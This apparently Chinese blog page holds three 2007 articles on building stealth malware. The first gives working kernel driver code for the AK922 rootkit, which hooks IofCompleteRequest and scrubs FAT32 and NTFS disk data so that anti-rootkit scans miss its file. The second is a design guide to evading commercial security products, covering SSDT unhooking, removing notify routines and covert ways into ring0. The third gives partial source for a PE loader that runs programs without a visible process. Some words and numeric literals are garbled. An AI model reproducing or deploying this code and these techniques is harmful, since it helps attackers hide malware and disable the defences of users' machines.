email: Azy000@gmail.com
完成于:2007-08-08

   目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。
   驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。
   对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。
   AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。
   下面就着重说一下工作流程:
   首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。
   接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。
   刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下:

// 处理Disk Low-Level Scanning
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0)
{    
        
    orgnThread = Irp->Tail.Overlay.Thread;
    orgnProcess = IoThreadToProcess(orgnThread);
        
    if(Irp->MdlAddress)
    {        
        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset);
            
        // UserBuffer必须有效
        if(UserBuffer)
        {                    
            
            if(KeGetCurrentIrql() == DISPATCH_LEVEL)
            {                    
            
                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX));
                
                WorkerCtx->UserBuffer = UserBuffer;
                WorkerCtx->Length = irpSp->Parameters.Read.Length;
                WorkerCtx->EProc = orgnProcess;
                
                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx);
                                
                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue);
            }
        }
        
    }
}
  

   来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下:

VOID WorkerThread(PVOID Context)
{
    KIRQL irql;
    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc;
    PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc;
    //PMDL mdl;
        

    if(((PWORKERCTX)Context)->UserBuffer)
    {
        if(eproc != currProc)
        {

            KeAttachProcess(eproc);

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){

                //DbgPrint("we can't op the buffer now :-( ");
                KeDetachProcess();    
                return;
            }
            
            KeDetachProcess();    
            
        }else{

            __try{
            
                // ProbeForWrite must be running <= APC_LEVEL
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1);
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length);
            }

            __except(EXCEPTION_EXECUTE_HANDLER){}
        }
    
    }
}

   准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。

typedef struct _INDEX_HEADER{
    UCHAR            magic[4];
    USHORT            UpdateSequenceOffset;
    USHORT            SizeInWords;
    LARGE_INTEGER    LogFileSeqNumber;
    LARGE_INTEGER    VCN;
    ULONG            IndexEntryOffset;    // needed!
    ULONG            IndexEntrySize;
    ULONG            AllocateSize;
}INDEX_HEADER, *PINDEX_HEADER;


typedef struct _INDEX_ENTRY{
    LARGE_INTEGER        MFTReference;
    USHORT            Size;                // needed!
    USHORT            FileNameOffset;
    USHORT            Flags;
    USHORT            Padding;
    LARGE_INTEGER        MFTReferParent;
    LARGE_INTEGER        CreationTime;
    LARGE_INTEGER        ModifyTime;
    LARGE_INTEGER        FileRecModifyTime;
    LARGE_INTEGER        AccessTime;
    LARGE_INTEGER        AllocateSize;
    LARGE_INTEGER        RealSize;
    LARGE_INTEGER        FileFlags;
    UCHAR            FileNameLength;
    UCHAR            NameSpace;
    WCHAR            FileName[1];
}INDEX_ENTRY, *PINDEX_ENTRY;

   在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。
   在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。
   处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。

VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)
{
    ULONG i;
    BOOLEAN bIsNtfsIndex;
    BOOLEAN bIsNtfsFile;
    ULONG offset = 0;
    ULONG indexSize = 0;
    PINDEX_ENTRY currIndxEntry = NULL;
    PINDEX_ENTRY preIndxEntry = NULL;
    ULONG currPosition;

    
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);

    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE)
    {            
    
        for(i = 0; i < BufLen/0x20; i++)
        {
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x 8) , fileExt, 3))
            {

                *(PUCHAR)UserBuf        = 0xe5;
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0;

                break;
                    
            }

            UserBuf = (PVOID)((ULONG)UserBuf + 0x20);
        
        }

    } else if(bIsNtfsFile) {

        //DbgPrint("FILE0...");

        for(i = 0; i < BufLen / FILERECORDSIZE; i++)
        {
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))
            {
                memset((PVOID)UserBuf, 0, 0x4);
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 1 8) ;
                break;
            }
                
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);
                
        }
            
    } else if(bIsNtfsIndex) {
                            
        //DbgPrint("INDX...");
        // Index Entries
        
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18;
        indexSize = BufLen - offset;
        currPosition = 0;

        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize);
                
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0)
        {
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9))
            {
                memset((PVOID)currIndxEntry->FileName, 0, 1 8) ;

                if(currPosition == 0)
                {
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size;
                    break;
                }

                preIndxEntry->Size += currIndxEntry->Size;
                
                break;
            }

            currPosition += currIndxEntry->Size;
            preIndxEntry = currIndxEntry;
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size);
                    
        }
    }
}

   水平有限,欢迎大家与我交流。


参考资料:

[1] - 《NTFS Documentation》
[2] - Azy,《IceSword & Rootkit Unhooker驱动简析》

---------

关于AK922(AzyKit):我写的一个只实现文件隐藏的RK,可以bypass本文提到的所有ark。

Posted in 未分类 | Leave a comment

实用级反主动防御rootkit设计思路

创建时间:2007-09-02
文章属性:原创
文章提交:baiyuanfan (baiyuanfan_at_163.com)

实用级反主动防御rootkit设计思路

作者:白远方 (ID: baiyuanfan, baiyuanfan@163.com, baiyuanfan@hotmail.com)
June 18, 2007

关键字:rootkit,反主动防御,网瑞脑消金兽络监瑞脑消金兽控,ring0,mcafee8.5i,KIS6,ZoneAlarm Pro,实用级产品测试
目录:
反主动防御rootkit的产生背景及其必要性
反网络访问主动防御
反API钩子进程行为主动防御
反系统Notify进程行为主动防御
绕过监控进入ring0安装驱动
实用级反主动防御rootkit的通用性问题


反主动防御rootkit的产生背景及其必要性
        当前随着新型木马,病毒,间谍软件对网络安全的威胁日益加重,传统的特征查杀型的安全产品和简单的封包过滤型防火墙已不能有效保护用户,因此各大安全公司纷纷推出自己的主动防御型安全产品,例如卡巴斯基kis6,mcafee8.5i,ZoneAlarm Pro等,这些产品应对未知的病毒木马都有很好的效果,若非针对性的作过设计的木马和rootkit,根本无法穿越其高级别防御。因此,反主动防御技术,作为矛和盾的另一方,自然被渗透者们提上日程;由于主动防御安全产品的迅速普及,为了不使后门木马被弹框报警,具有反主动防御能力的rootkit成为了一种必然选择。


反网络访问主动防御
        几乎现在每个防火墙都具有应用程序访问网络限制功能。一个未知的程序反弹连接到外网,或者是在本地监瑞脑消金兽听端口,基本上都会引起报警。而且对系统进程的行为也有了比较严格的审查,原先的注射代码到winlogon等系统进程,在向外反弹连接的方法,很多主动防御软件都会阻止了。
        很多防火墙的应用程序访问网络限制,都可以通过摘除tcpip.sys上面的过滤驱动,并还原tcpip.sys的Dispatch Routines来绕过。据称这是因为在ndis层次取得进程id不方便而导致的。但是如果在一个实用级的rootkit里应用此方法则是不智之举,因为存在部分防火墙,如ZoneAlarm,其ndis过滤层必须和tdi过滤层协同工作,才会放行网络连接。至于ndis层次的中间层驱动的摘除,和NDIS_OPEN_BLOCK的还原,则是一项不太可能完成的任务,因为无法从原始文件中读取的方法,获得NDIS_OPEN_BLOCK的原始值;即使能够成功恢复ndis钩子,也不能保证系统可以正常运行,很可能会出现各种不明症状。
        到现在为止,绕过应用程序访问网络限制最好的选择,还是那两个:简单的一个,注射代码到一个ie进程,用它反弹连接出来,访问外网;复杂的选择则是应用内核驱动,如ndis hook/添加新的ndis protocol,来实现端口复用,或者使用tdi client driver反弹连接。已经有很多木马和rootkit使用前者,因其简单易行,在实际开发中工程量小,出现问题的可能性也少得多,产品成熟的时间代价也小。但是目前很多的主动防御已经注意到这一点,并且在程序行为监控中严密防范了其他程序对ie的感染行为。

    如图,想要使用僵尸IE访问网络的木马被拦截


反API钩子进程行为主动防御
        接下来是主动防御系统的很重要的一部分:进程行为监控。该部分主动防御软件一般通过两种解决方案来执行,一是API钩子,二是windows支持的notify routine。
        大量的主动防御安全软件,如KIS6,ZoneAlarm Pro,使用API钩子来监控进程的危险行为。如注射远程线程,启动傀儡IE,加载驱动,注册服务,修改敏感系统注册表键值等。但是作为一个rootkit,完全绕过这些操作,基本上是不可能的;于是摆放在面前的任务,就是如何击败这种主动防御。
        对于特定种类的监控,总是有特定的方法可以绕过。比如注射远程线程,如果常用的CreateRemoteThread被监控了,可以尝试采用Debug API, SetThreadContext的方法绕过,也可以尝试采用hook其ntdll!ZwYieldExecution等频繁调用的函数来装载自己的DLL模块。 注册表监控,我的朋友xyzreg曾经写过系列文章,提出了很多种方法,包括RegSaveKey, Hive编辑等方法绕过卡巴斯基的注册表监控,其Hive编辑的方法目前仍未能有任何主动防御系统拦截。
        但是从一个通用型,为实战设计的实用型rootkit来说,采用这些特定的技术并不是一个非常好的选择;因为这些技术可以保证对付一个主动防御软件,却不能保证通用,甚至通用性很差。而且针对每一个可能被主动防御拦截的行为,都采用一套特定的绕过技术,从工程代价上来讲,太过巨大,开发耗时,等其成熟更是不知道要多少时间来测试和更改。因此我们需要的一个相对涵盖范围广,能够解决绝大多数主动防御技术的解决方案。
        针对API钩子实现的进程行为监控,一个较好的通用解决方案就是卸载所有安全软件所安装的API钩子。为兼容性和稳定起见,几乎所有的安全软件在安装API钩子时都会选择hook SSDT表,例如KIS6,ZoneAlarm Pro。我们如果能够进入ring0,就可以使用一个驱动程序,读取系统文件ntoskrnl.exe/ntkrnlpa.exe/ntkrpamp.exe,从中提出我们所希望的SSDT表的原始函数地址,替换被安全软件hook的地址,用此方法可以通用性很好的解决绝大多数的API钩子实现的进程行为监控。不过此方法有一个前提,就是事先必须绕过监控进入ring0。关于如何实现此前提,请阅读第五部分,“绕过监控进入ring0安装驱动”。
    
    如图,ZoneAlarm Pro更改了大量的SSDT函数地址来监控程序行为。



反系统Notify进程行为主动防御
        部分主动防御安全软件不仅仅是用API钩子,同时使用了微软提供的Notify Routine,来监视进程的行为。使用该技术的安全软件不是太多,但是也不至于少到一个实用级别rootkit可以忽略的程度。
        以下几个微软DDK函数,PsSetCreateProcessNotifyRoutine,PsSetCreateThreadNotifyRoutine,PsSetLoadImageNotifyRoutine,被用作支持主动防御软件监控新进程的建立,新线程的建立,和一个新的模块被加载。处理该种类型的防御不能简单的清空NotifyRoutine就完事,因为系统本身,还有一些第三方正常模块和驱动,可能添加和使用该链表。
        解决方案,一是可以先将使用了该技术的主动防御系统的驱动程序模块做一个列表出来,然后遍历这三条链表,找出地址指向这些驱动模块的项,再将这些项删除脱链。但是这需要对大量主动防御系统的研究和测试,并且通用型也不好。第二种方法,由于Notify Routine的监控力度要远弱于API钩子,因此在纯ring3将程序做一些小的改动,就可以越过这种类型的监控。
        另外还有几个SDK函数,可以提供对文件和注册表的更改的notify。不能排除也有部分主动防御软件使用了它们。例如国产的超级巡警(AST.exe),使用了RegNotifyChangeKeyValue,做了对注册表敏感键值修改的事后警告提示。如果仅仅使用了API钩子清除技术,那么在此时就会被AST报警。和以上介绍的三个内核notify类似的也是,有不少正常的notify在被使用,不分青红皂白的全部卸载,会导致系统异常。
        因此可见,Notify类监控虽然使用的不多,但是其对付的难度和需要的工程量,比API监控还要大。

    如图,已经处理了API钩子监控的rootkit仍然被notify方式的AST报警。


绕过监控进入ring0安装驱动
        这部分是重中之重。由于几乎每个主动防御系统都会监控未知驱动的加载和试图进入ring0的举动, 而我们在第一,第二和第三部分绕过主动防御要做的处理,都必须需要ring0权限。因此监控进入ring0,是一个独立的话题,也是我们实现前三个部分需要的条件。
        直接添加注册表项,ZwLoadDriver安装驱动,是几乎要被任何主动防御系统报警。必须要采用一些隐蔽的或者是为人不知的方法。总结目前已经公布出来的进入ring0的办法,
有以下几种:
        感染文件,例如win32k.sys,添加自己的代码到里面,启动的时候就会被执行。这种方法的优点是简单易行,稳定度和兼容性很好。但是最大的缺点就是必须重新启动以后,才能进入ring0,这是一个产品级别的后门所不能容忍的。而且微软自己的系统文件保护容易绕过,mcafee和卡巴斯基的文件监控可就不是那么容易了。
        利用物理内存对象,来写入自己的代码到内核,并添加调用门来执行。这个是最早被人提出的不用驱动进入ring0的办法。因为出来的时间太长了,所以有以下一些问题:更新的操作系统内核不支持,如2003SP1;很多的主动防御系统会拦截,例如KIS6。所以这个办法也不理想。
        利用ZwSystemDebugControl。这个代码在国外有人放出来过,利用它写内存,挂钩NtVdmControl,进入ring0。此法缺陷在于老的windows2000不被支持,最新的windows2003sp1上也取消了这个函数的此能力。不过好处在于,这个方法用的人少,基本上没有主动防御会注意到它,并进行拦截。
        利用ZwSetSystemInformation的SystemLoadAndCallImage功能号加载一个模块进入ring0。这个方法提出来比较久了,但是因为用的人少,仍未被主动防御软件所重视。用得少的原因是,它不好用。它只能加载一个普通的模块到内核并且调用,却不是加载一个驱动,因此没有一个DriverObject。这导致了非常多的麻烦。因为要想使用这个办法,必须先用这个办法安装一个简单的内核模块,再用这个模块添加调用门等方式,执行代码清除主动防御的监视驱动安装的钩子,安装一个正常的驱动,才能最终完成任务。而且这个方法似乎对windows2003sp1以上的系统也无效。
        因此,要想有一个相对完美的进入ring0解决方案,最好是寻找别人不知道或者使用很少的方法,或者将上面的有缺陷的方法做一个综合,用多种方法通过判断情况来选择使用。我在这里有一个新的思路提供给大家,微软新公布了一部分文档,关于HotPatch的使用。HotPatch可以在执行中修改系统中存在的用户态公用dll的内容,甚至是修改内核模块的内容。具体代码和细节,在这里我不能多说。
        要想开发一个好的反主动防御rootkit,绕过监控进入ring0是必不可少的,然而这部分也是使用不成熟技术最多的,最容易出现严重问题的部分。作为一个负责任的实用级产品,一定要对这个部分作做详细的测试,来保证自己的产品不会在某些特殊的环境,比如64位CPU运行32位系统,多核处理器,HyperThread处理器上面,出现故障或者蓝屏。



实用级反主动防御rootkit的通用性问题
        前文已述,本文的宗旨在于讨论一种实用级别rootkit开发的可行性。因此,工程量的大小,需要投入的人力,时间和金钱,也是我们需要考虑的内容。必须要考虑更好的兼容性通用性,和工程上的开发代价和稳定成熟周期不能无限大。因此,对于部分新技术,例如BiosRootkit,VirtualMachine-Rootkit,本文不做讨论,因为那些都属于如果要想做稳定通用,工程代价非常大,以至于他们只拥有技术上面的讨论价值,而不具备作为一个产品开发的可选解决方案的可能性。至少是目前来看是如此。
        每个主动防御软件的原理和构造都是不相同的,因此不可能指望有某一种方法,从工程上可以解决一个主动防御系统,就可以无需测试的,保证无误的解决其他系统。因为这个原因,开发一个成熟稳定的反主动防御rootkit,必然要在兼容各种主动防御的系统的通用性上面下大功夫。按照不同的主动防御系统,在程序里switch case,应该是非常必要的,尽管绝大多数反主动防御代码原理上可以通用。基本上,在测试程序通用型的时候,常用的主动防御软件,是每种都要安装一个并且仔细测试的。
        以下举例说明,几个常用主动防御系统各自需要注意的特点,这都是笔者在实际开发中遇到的比较典型的例子。

Mcafee8.5,该主动防御软件在最大化功能时会禁止在系统目录下创建可执行文件,光这一点就会让几乎全部rootkit安装失败,若非针对它做了设计。在这个系统下面,也不可能使用感染文件的方法来进入ring0。
KIS6,该系统会自动列举运行的隐藏进程,并且弹框警告。因此在这系统下,不太可能把自己的进程隐藏。而且它列举隐藏进程的手段很底层,很难绕过。
ZoneAlarm Pro,该系统下,如果一个其它的进程启动IE并且访问网络,安全报警仍然会以该进程本身访问网络为准执行,另外还会弹框警告,除非将自己的僵尸IE进程的父进程更改,或者不用IE来反弹连接。
国产的瑞星,总体来说这个系统的主动防御弱于国外产品,但是它特殊在于,会对IE作出非常严格的限制,默认不允许IE装载任何非系统的dll。因此在这个系统下基本不可能利用IE反弹。

        其他的特殊情况还有很多。作为一个成熟产品开发者,这些都是必须要考虑的。




感谢:VXK(郭宏硕), xyzreg(张翼)。
附录:提供几个录像,对本文的内容做一个展示录像,Rootkit穿越各种流行的主动防御系统。

Posted in 未分类 | Leave a comment

反向进程注入及隐藏--动手做一个最简单的PELoader

创建时间:2007-07-27 更新时间:2007-07-28
文章属性:原创
文章提交:Luke0314 (msfocus_at_hotmail.com)

动手做一个最简单的PELoader
Luke msfocus@hotmail.com


一.废话
最近因为公司的项目需要,顺带的学习了一点和PELoader相关的东西,恰见网上正在沸沸扬扬的谈论虚拟脱壳。本人不才,实在是没能力也没精力去写一个真正意义上的虚拟机,因此尝试做了一个简单而偷懒的PE加载器。
这个PE加载器也可以看做是VM的前身吧。我想它可以成为一个简易脱壳工具或者用户态的进程内调试器基础。

二.做这个东西干嘛?
1.公司的项目需要实现但进程内多插件并发运行,也就是说,1个PID需要同时给n个进程使用,这牵扯到更麻烦的进程内内存切换工作。
2.实现反向进程注入,隐藏进程,这样做的RK更不容易被发现。
3.自从离开了安全的伤心地之后,一直堕落于做IM软件的Server,很久没有碰windows了,需要活动一下大脑

三.PELoader完成了什么工作?
这个PELoader写得很乱很粗糙,全部代码+调试基本上是在两天之内堆完的。由于时间关系,我只实现了它如下几个特性:
1.    在普通用户权限下实现用户态的PE文件启动执行。
2.    被启动的程序无进程,而嵌与宿主(PELoader)程序体内,与宿主共享一个进程ID
3.    实现了大部分资源文件的加载
4.    实现了进程内API调试,跟踪
5.    最基础的内存Dump脱壳(没做OEP等的修正工作)
6.    宿主可在程序被加载启动后继续执行
7.    支持console和gui程序执行

四.目前可支持的程序
1.cmd.exe 经过测试,我发现存一些显示资源的小问题,但仍然可以比较健壮的运行
2.Excel.exe(Office10) 这个程序在PELoader里运行的非常好,但还是有一个小Bug,就是窗体资源图标不是很对劲…问题还没找到

五.目前的问题
还是因为时间的问题,好多东西我没处理好,如果有朋友能改出一个不错的版本,希望可以mail我一份:msfocus@hotmail.com
1.目前我正在做多进程共享的问题,在进程间切换的时候,如果完全切换所有被使用的内存,程序将异常的慢。如果仅切换部分需要使用的内存,将牵扯到复杂的虚拟页表切换,搞得很头大
2.由于进程自身资源错位,因此需要拦截非常多的API,写到手酸,还是没有写全,不知道哪里能有个完整的需要拦截的API的列表。
3.在debug状态下运行,经常崩溃,烦躁…
4.很多程序在加载时候会失败或者启动之后崩溃,我一直没功夫检查这个错误

六.技术原理说明

正常情况下,一个PE文件被系统加载后,系统会自动处理好IAT和IID表,然后找到OEP开始执行代码,一般情况下call OEP后的第一条API为GetVersion。

我们要动手做一个PELoader则必须先将进程代码注入自己的内存空间,并手工解决IAT,定位OEP,如果你以为仅仅如此,那么我保证你的代码最多运行你自己写的一小段shellcode
要运行一个真正的进程,还需要做类似资源管理,句柄管理等很多的工作。

没关系,我们一个一个来:
首先解决加载问题。
加载可以有很多方式如:alloc一块内存保存或利用LoadLiarbryEx作为一个数据文件加载。但无论是哪种方法都没有解决IAT的问题,如果我们自己手工解决IAT,可能需要比较多的计算过程,这个过程可以参考kanxue的Linxer写的PE重定位函数。但本文所要提的并不是这种方法。也许有人说,有文章提到过ntdll.dll中自己搜索并导出LdrLoadDllEx就可以实现加载并解决IAT,但实际上这种方法至少在我的winxp系统上是失败的。所以我采用了另外一种方式用LoadLibrary来加载:
A.    修改PE头中的Characteristics属性,为其增加IMAGE_FILE_DLL属性,此外我还为其增加了一个非必须的 IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP属性。让LoadLibrary误认为这是一个DLL文件。
B.    将PE选项部分的AddressOfEntryPoint设置为空,至于原因不要奇怪,msdn是这样描述的:
AddressOfEntryPoint
Pointer to the entry point function, relative to the image base address. The entry point function is optional for DLLs. When no entry point is present, this member is zero.
我们这样做只是为了让LoadLibrary认为这个假DLL文件没有dll_main入口点。因为实际上,我们的EXE文件只有main入口点。
C.    HOOK API,我们需要HOOK非常多的API来保证这个PE文件能够正确的获取自身句柄,资源等。确保启动过程中不会发生资源找不到之类的问题。因为本人太懒的原因,HOOK的方法参考了eyas的一个程序。这里和我们的何大侠讨论了很久,发现还是有很多问题要处理的。
D.    这是非必须的一步—恢复入口点及Characteristics属性,确保个别BT一点的进程也能够正常运行。
E.    Call 原始的EntryPoint,这实际上会调用到目标程序的main函数,此时程序就已经正常运行起来了。
F.    扩展VUE。这一步也不是必要的,但如果你想试试,可以考虑用我提供的dumpfile函数在执行GetVersion的时候,或者是第一个API的时候,尝试目标程序的dump内存。当然,修复工作还是需要自己去完成的。
G.    在宿主内继续执行代码,包括可以设置断点对目标程序进行调试。
H.    编译时候,记得设置编译选项,把代码放到0x0f400000的地方,把0x400000等常用地址让出给目标程序,因为我实在太懒了,这样我就可以偷懒解决没有IID的问题了。当然这个是不稳妥的解决方案。
I.    没了,哪位兄弟改出漂亮的代码mail我一份:msfocus@hotmail.com

后面给出一个bug重重的代码:
/*********************************************************/
//PELoader.exe v1.0
//Luke msn:msfocus@hotmail.com
//2007.7.25
/*********************************************************/
#include <windows.h>
#include <stdio.h>
#include <imagehlp.h>
#include <psapi.h>
#pragma pack(1)
#pragma comment(lib, "imagehlp.lib")
#pragma comment(lib, "psapi.lib")
#pragma comment(lib, "user32.lib")

HMODULE hmod = NULL;
char *lpNewBaseOfDll = NULL;
char *lpNewBaseOfDll1 = NULL;
MODULEINFO mi;
MODULEINFO mi1;
HMODULE OldKernel32Address = NULL;
HMODULE OldUser32Address = NULL;
char PEFile[MAX_PATH] = {0};
unsigned long OEP = 0;
char *addr_GetModuleHandleExA = NULL;
char *addr_GetModuleHandleExW = NULL;
unsigned long LoadPEFile(char *FileName, char **Buffer)
{
    FILE *fp = fopen(FileName, "rb");
    fseek(fp, 0, SEEK_END);
    unsigned long len = ftell(fp);
    fseek(fp, 0, SEEK_SET);
    *Buffer = new char[len + 4];
    memset(*Buffer, 0x0, len + 4);
    unsigned long i = 0;
    while(i < len)
    {
        fread(*Buffer + i, 4, 1, fp);
        i+=4;
    }
    fclose(fp);
    return len;
}

void SaveAs(char *FileName, char *Buffer, unsigned long len)
{
    FILE *fp = fopen(FileName, "wb");
    unsigned long i = 0;
    while(i < len)
    {
        fwrite(Buffer + i, 4, 1, fp);
        fflush(fp);
        i+=4;
    }
    fclose(fp);
}

void WINAPI DumpFile(char *FileName)
{
    MODULEINFO dumpinfo;
    DWORD dw = 0;
    GetModuleInformation(GetCurrentProcess(), hmod, &dumpinfo, sizeof MODULEINFO);
    printf("dump size:%dn", dumpinfo.SizeOfImage);
    SaveAs(FileName, (char *)dumpinfo.lpBaseOfDll, dumpinfo.SizeOfImage);
}

BOOL WINAPI MyGetModuleHandleExA(DWORD dwFlags, LPCSTR lpModuleName, HMODULE *phModule)
{
    printf("in MyGetModuleHandleExAn");
    BOOL realbool = false;
    char *lpm = new char[MAX_PATH];
    memset(lpm, 0x0, MAX_PATH);
    if(lpModuleName == NULL)
        strcpy(lpm, PEFile);
    else
        strcpy(lpm, lpModuleName);
    DWORD pNewFunc = (DWORD)addr_GetModuleHandleExA - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push phModule
    __asm push lpm
    __asm push dwFlags
    __asm call pNewFunc
    __asm mov realbool, eax
    printf("realbool:%dn", realbool);
    delete []lpm;
//    if(*phModule == OldKernel32Address)
//        *phModule = (HMODULE)lpNewBaseOfDll;
    printf("out MyGetModuleHandleExAn");
    return realbool;
}

BOOL WINAPI MyGetModuleHandleExW(DWORD dwFlags, LPCWSTR lpModuleName, HMODULE *phModule)
{
    printf("in MyGetModuleHandleExWn");
    BOOL realbool = false;
    WCHAR *lpm = new WCHAR[MAX_PATH];
    memset(lpm, 0x0, sizeof(WCHAR) * MAX_PATH);
    if(lpModuleName == NULL)
    {
        swprintf(lpm, L"%s", PEFile);
    //    wcscpy(lpm, L"c:\a.exe");
    }
    else
        wcscpy(lpm, lpModuleName);
    DWORD pNewFunc = (DWORD)addr_GetModuleHandleExW - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push phModule
    __asm push lpm
    __asm push dwFlags
    __asm call pNewFunc
    __asm mov realbool, eax
    printf("realbool:%dn", realbool);
    delete []lpm;
//    if(*phModule == OldKernel32Address)
//        *phModule = (HMODULE)lpNewBaseOfDll;
    printf("out MyGetModuleHandleExWn");
    return realbool;
}

DWORD WINAPI MyGetModuleFileNameA(HMODULE hModule, LPSTR lpFilename, DWORD nSize)
{
    printf("in MyGetModuleFileNameAn");
    printf("in MyGetModuleFileNameA:hModule:0x%.8x, lpFilename:%sn", hModule, lpFilename);
    DWORD realdword = 0;
    if(!hModule)
        hModule = hmod;
    printf("new hmod:0x%.8xn", hModule);
//    if(hModule == (HMODULE)lpNewBaseOfDll)
//    {
//        strcpy(lpFilename, "Kernel32.dll");
//        return strlen("Kernel32.dll");
//    }
    DWORD pNewFunc = (DWORD)GetModuleFileNameA - (DWORD)mi.lpBaseOfDll + (DWORD)lpNewBaseOfDll;
    __asm push nSize
    __asm push lpFilename
    __asm push hModule
    __asm call pNewFunc
    __asm mov realdword, eax
    printf("File:%sn", lpFilename);
    printf("realdword:%dn", realdword);
    printf("out MyGetModuleFileNameAn");
    return realdword;
}

DWORD WINAPI MyGetModuleFileNameW(HMODULE hModule, LPWSTR lpFilename, DWORD nSize)
{
    printf("in MyGetModuleFileNameWn");
    DWORD realdword = 0;
    if(!hModule)
        hModule = hmod;
    printf("hModule:0x%.8xn", hModule);
//    if(hModule == (HMODULE)lpNewBaseOfDll)
//    {
//        wcscpy(lpFilename, L"Kernel32.dll");
//        return wcslen(L"Kernel32.dll");
//    }
